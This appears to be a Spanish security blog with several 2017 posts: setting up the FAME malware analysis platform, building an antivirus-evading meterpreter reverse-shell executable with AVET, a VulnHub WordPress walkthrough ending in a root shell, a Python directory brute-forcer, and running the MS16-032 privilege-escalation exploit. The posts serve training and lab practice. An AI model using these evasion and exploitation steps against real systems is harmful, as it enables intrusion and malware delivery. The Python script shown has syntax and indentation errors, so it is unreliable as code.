viernes, 31 de marzo de 2017

Malware Analysis Platform: FAME

 

Descripción:

FAME está pensado para facilitar el analisis de archivos maliciosos aprovechando tanto conocimiento como sea posible para acelerar y automatizar el análisis de extremo a extremo.
Mejor escenario: el analista deja caer una muestra, espera unos pocos minutos, y FAME es capaz de determinar la familia de malware y extraer su configuración y IOCs.
FAME debe ser visto como un marco que potenciará sus esfuerzos de desarrollo de análisis de malware.

La aplicación te permite activar o desactivar modulos (Como subir el archivo a una sandbox de cuckoo, subir a sandbox joe, analizar macros de office, analizar pdf, escanear con un antivirus, o subir a virtustotal.) y cada modulo es bastante configurable, esto hace el programa bastante modular y con bastantes funciones.
También podemos obtar por crear nuestro propio modulo, en la documentación te dicen como.
 Puedes mirar, apoyar y probar el proyecto en su Github

Requisitos:

Necesitamos tener MongoDB, para instalarlo en debian (Kali):

$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 0C49F3730359A14518585931BC711F9BA15703C6

Debian 7:
$ echo "deb http://repo.mongodb.org/apt/debian wheezy/mongodb-org/3.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.4.list
Debian 8:
$ echo "deb http://repo.mongodb.org/apt/debian jessie/mongodb-org/3.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.4.list

$ sudo apt-get update
$ sudo apt-get install -y mongodb
$ service mongodb start

Aqui para Ubuntu 

Instalación:

Descargamos FAME:

$ git clone https://github.com/certsocietegenerale/fame
$ cd fame

Lo instalamos:

$ utils/run.sh utils/install.py

Usamos el 1 en tipo de instlación, y ojo con el email que es el que nos pedirá para entrar al server.

Una vez instalado lo iniciamos con el comando:

$ utils/run.sh webserver.py

Configuración:
La configuración es sencilla, nos vamos al apartado y activamos el modulo repositorios lo que nos permitirá ver módulos ya creados, los cuales podemos activar y desactivar a nuestro gusto. (Aunque la primera vez que entré me saltó un error, le tuve que dar a update y a reload, cerre sesión y volví a entrar)

En configuración veremos todos los modulos disponibles.

Para subir nuestro archivo simplemente le damos a Submit.


Muchas gracias por ver la entrada, comenta que te ha parecido, compartela y hasta la próxima.

jueves, 30 de marzo de 2017

AntiVirus Evasion Tool: AVET

Definicion:

AVET es una herramienta para evadir antivirus, fué desarrollada para hacer la vida más fácil a los pentesters y para experimentar con tecnicas de evasión antivirus.
Para más información: https://github.com/govolution/avet

 

Requisitos:

Descargar TDM-GCC
# wine tdm64-gcc-5.1.0-2.exe
* Instalación simple todo siguiente

 

PoC:

Descargamos el repositorio y entramos en la carpeta.

$ git clone https://github.com/govolution/avet
$ cd avet

Compilamos el make_avet con:

$ gcc -o make_avet make_avet.c

Editamos el archivo build_win32_meterpreter_rev_https_20xshikata.sh con el comando:

$ nano build/build_win32_meterpreter_rev_https_20xshikata.sh

Y cambiamos el LHOST del payload hecho por msfvenom, por nuestra IP Local, y ejecutamos el script:

$ ./build/build_win32_meterpreter_rev_https_20xshikata.sh

Nos generará un pwn.exe el cual al ejecutarlo en un equipo victima nos devolverá la shell meterpreter.


 Esta es la forma más automática de hacerlo, en el proyecto de github tenéis ejemplos con más maneras, además de contar con una mini-tool para facilitar todo el proceso llamada avet_fabric.py, así que ya estáis tardando en entrar. https://github.com/govolution/avet
Como podemos ver el escaneo hecho por nodistribute contamos con un troyano casi indetectable:


Muchas gracias por ver esta entrada, comenta lo que te ha parecido o si tienes alguna duda y nos vemos el la próxima entrada.

Lectura recomendada

martes, 28 de marzo de 2017

Rompiendo Máquinas Virtuales #1 | hackfest2016: Quaoar [Muy fácil][ESPAÑOL]

Este es mi primer capítulo en esta nueva serie, dentro de poco empezaré a subir videos a youtube (Curso de hacking web python, Rompiendo Maquinas Virtuales y más cosas), así que estar atentos a mi canal.
*Voy a intentar que los vídeos queden de la manera más profesional que pueda.

Descarga:

https://www.vulnhub.com/entry/hackfest2016-quaoar,180/
Lo que viene a continuación es spoiler, si de verdad quieres aprender, intenta vulnerar la máquina sin ver el tutorial. Y comenta si has usado alguna técnica diferente.

Tutorial:

Una vez descargada la máquina virtual la iniciamos junto a nuestro Kali Linux.
Ya iniciadas ambas máquinas deberemos saber que IP corresponde a la máquina víctima para ello haremos uso de la herramienta netdiscover:
$ netdiscover


Netdiscover es una herramienta activa/pasiva para el reconocimiento de direcciones, puede detectar de manera pasiva hosts en funcionamiento, o búsqueda de ellos, enviando solicitudes ARP.

Una vez sepamos la IP podremos escanear la máquina objetivo, en busca de puntos de entrada con NMAP, en esta ocasión usaré:
$ nmap -T 5 <IP>

-T 5: Escaneo muy agresivo, tardará muy poco.

Como podemos apreciar en la salida del comando nos dice que tiene el puerto 80 (HTTP) abierto, por lo tanto sabemos que hay una aplicación web, vamos a comprobarlo abriendo firefox.


Vemos que se trata de una simple imagen, vamos a ver si tiene alguna URL escondida.
Haremos un escaneo con la herramienta nikto:

Nikto es un escáner gratuito de vulnerabilidades web, de tipo Open Source, con licencia GPL.

Nos encuentra una URL donde hay un wordpress instalado.
* También podíamos haber usado dirb o similar para hacer fuerza bruta.
* O haber mirado los /robots.txt (Donde en este caso también aparecerá la URL que queríamos)


Sabiendo que se trata del famoso CMS Wordpress usamos wpscan para enumerar los usuarios.
$ wpscan -u <ip>/wordpress --enumerate u

WPScan es una herramienta que se actualiza periódicamente y busca en su base de datos vulnerabilidades de las versiones encontradas durante el escaneo, ya sean plugins, temas o el mismo core.

Una vez enumerados, podemos aplicar fuerza bruta en el panel administrativo de wordpress, y con la combinación de admin;admin ya tendremos acceso.
Subiremos una shell con metasploit haciendo uso del exploit wp_admin_shell_upload:

Este exploit genera un plugin, mete el payload en él y lo sube al servidor con las creedenciales de administrador configuradas.

Una vez obtenido nuestro meterpreter abrimos una shell y miramos el archivo wp-config.php que contendrá la password de root.

Este es uno de los primeros archivos que hay que mirar cuando se entra a un servidor WordPress ya que tiene datos muy sensibles.

Por último nos conectamos por SSH y...


Esta máquina fue muy sencilla, iré subiendo más máquinas para que podamos seguir aprendiendo. Muchas gracias por estar ahí y nos vemos en la siguiente entrada.


miércoles, 8 de marzo de 2017

Mini-Curso Hacking Web con Python | #1 Brute-Force de directorios

Requisitos:

Para seguir este curso es importante tener una base de conocimientos en python.

Introducción:

Cuando estas realizando un pentest, es importante saber donde están los paneles administrativos, donde puedes encontrar información sensible, páginas secretas...
Uno de los métodos es estar probar url por url para saber cual existe y cual no, por ejemplo:
site.com/admin
site.com/administracion
A esto se le conoce como "Brute-Force de directorios"

En este capítulo aprenderás a usar python para hacer un brute-force de directorios.

Tutorial:

Creamos un nuevo archivo .py el cual contendrá el siguiente script:

import requests 1
url = 'http://site.com'  2
respuesta = requests.get(url) 3
print respuesta.text 4

1 Importamos la librería request.
2 Establecemos en una variable la URL que queremos atacar.
3 Guardamos la respuesta en una variable
4 Imprimimos por pantalla la respuesta

De este modo nos aparecerá por pantalla la página completa. Pero a nosotros no nos interesa eso, nos interesa saber si esa página existe o no, ¿y cómo hacemos eso?, muy fácil simplemente haremos lo siguiente:

import requests 
url = 'http://site.com'  
respuesta = requests.get(url)
print respuesta.text -- Cambiamos por --> print respuesta.status_code

Si ejecutamos el script nos saldrá por pantalla el código 200, el cual nos indica que la página web solicitada existe.

¿Hasta aquí fácil, no?, vamos a verlo más claro:

Si nosotros en el script ponemos una URL que no existe como se ve a continuación:

import requests  
url = 'http://site.com/aaaaaaaaaaaaaaa'  
respuesta = requests.get(url)
print respuesta.status_code

Nos devolverá el código 404 que nos indica que no existe dicha página.

En base a ese código podemos saber si la url existe o no, esto resulta de gran utilidad, por ejemplo si queremos saber si el panel administrativo es /admin, pondremos:
  
import requests  
url = 'http://site.com/admin'  
respuesta = requests.get(url)
print respuesta.status_code

Si nos devuelve el 403 os indica que no tenemos los permisos suficientes para acceder a ese recurso.
¿Como podemos automatizar todo este proceso?, podemos crear un archivo de texto con una lista de varios directorios, y que recorra el archivo probando los directorios. Muy bien, vamos a implementarlo en nuestro script:

import requests  
url = 'http://site.com/'
directorio = 'admin' 1
respuesta = requests.get(url+directorio) 2
print respuesta.status_code

1 Creamos una nueva variable, la cual contendrá un string que será el nombre del directorio que queremos comprobar.
2 Juntamos la url que queremos comprobar + el directorio.

En vez de poner el nombre del directorio nosotros vamos a crear un wordlist (Un archivo de texto que contiene una lista de nombres), la distribución Kali Linux trae por defecto bastantes diccionarios que podemos encontrar en la ruta: /usr/share/dirbuster/wordlists, en este capitulo usaremos uno de ellos.

Para cargar un wordlist en nuestro script haremos lo siguiente:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt') 1
lineas = archivo.readlines() 2
url = 'http://site.com/'
directorio = 'admin'
respuesta = requests.get(url+directorio)
print respuesta.status_code 

1 Abriremos el archivo wordlist
2 Como solo queremos las lineas de ese archivo para ello usamos la variable archivo. y el método readlines y la salida la almacenamos en una variable llamada lineas.
En esa variable ahora se encuentran todas las lineas de nuestro archivo, podemos iterar en esas lineas con un for.  

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt'
lineas = archivo.readlines() 
url = 'http://site.com/' 
for linea in lineas: 1
    directorio = linea 2
    respuesta = requests.get(url+directorio)
print respuesta.status_code


1 Sacará linea por linea de todas las lineas del archivo.
2 Pondra el nombre de directorio como si fuese una linea

Podemos simplificar todo esto quitando la variable directorio y metiendo la variable linea en respuesta, de este modo:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt'
lineas = archivo.readlines() 
url = 'http://site.com/' 
for linea in lineas:
    respuesta = requests.get(url+linea)
print respuesta.status_code

Cambiarmos el print por url+linea para saber que url existe y cual no.

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt'
lineas = archivo.readlines() 
url = 'http://site.com/' 
for linea in lineas:
    respuesta = requests.get(url+linea)
print url+linea, respuesta.status_code


Como apareceran muchos directorios que no existen vamos a filtrar para que solo aparezcan los que si existen, lo haremos añadiendo lo siguiente:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt'
lineas = archivo.readlines() 
url = 'http://site.com/' 
for linea in lineas:
    respuesta = requests.get(url+linea)
    codigo = respuesta.status_code  1  
if codigo != 404 and codigo != 403: 2
    print url+linea, codigo 3


1 Creamos una variable llamada codigo que va a tener el status_code
2, 3 Añadimos una condicion, si el codigo es distinto a 404 o a 403 que aparezca en pantalla.

Script completo:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt'
lineas = archivo.readlines() 
url = 'http://site.com/' 
for linea in lineas:
    respuesta = requests.get(url+linea)
    codigo = respuesta.status_code  
if codigo != 404 and codigo != 403:
    print url+linea, codigo 

Si tienes alguna duda, ponla en comentarios y estate atento al segundo episodio. Espero que te haya sido de utilidad este capítulo.
 



 

viernes, 3 de marzo de 2017

MS16-032 Privilege Escalation

Muchas empresas no se dan cuenta de los riesgos que existen al no actualizar los sistemas operativos, programas, cms.... He aquí un claro ejemplo de porque debemos actualizar siempre nuestros sistemas y estar al tanto de nuevas actualizaciones.

Introducción:

La actualización de Windows "MS16-032" que salió el 8 de marzo del 2016 corrige una vulnerabilidad que podría permitir la elevación de privilegios si se produce un error en el servicio de inicio de sesión secundario de Windows administrar correctamente los controladores de solicitud de memoria. El parche que cubre la vulnerabilidad es el KB3139914. La vulnerabilidad recibe el nombre de CVE-2016-0099.

Mediante el cmdlet Get-Hotfix podemos ver las actualizaciones instaladas en nuestro equipo, podemos filtrar para que salgan solo actualizaciones de seguridad mediante: Get-Hotfix –description “Security Update”.

Si el equipo tiene instalado el parche ya estaremos seguros ante la vulnerabilidad.

PoC:

Para el correcto uso de esta prueba de concepto se deberá tener las políticas de ejecución en "Unrestricted", podemos cambiar dichas políticas en el usuario actual con el comando:
> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force, desde nuestro PowerShell. Para ver las políticas aplicadas usaremos el cmdlet Get-ExecutionPolicy

Exploit (Solo funcionará con PowerShell 2.0 y con un procesador de dos o más núcleos):

Para usar el exploit lo descargaremos y lo importaremos con el comando > Import-Module <Archivo.ps1>

Una vez importado llamaremos a la función con el comando: > Invoke-MS16-032

Vídeo:

 Metasploit module:

https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc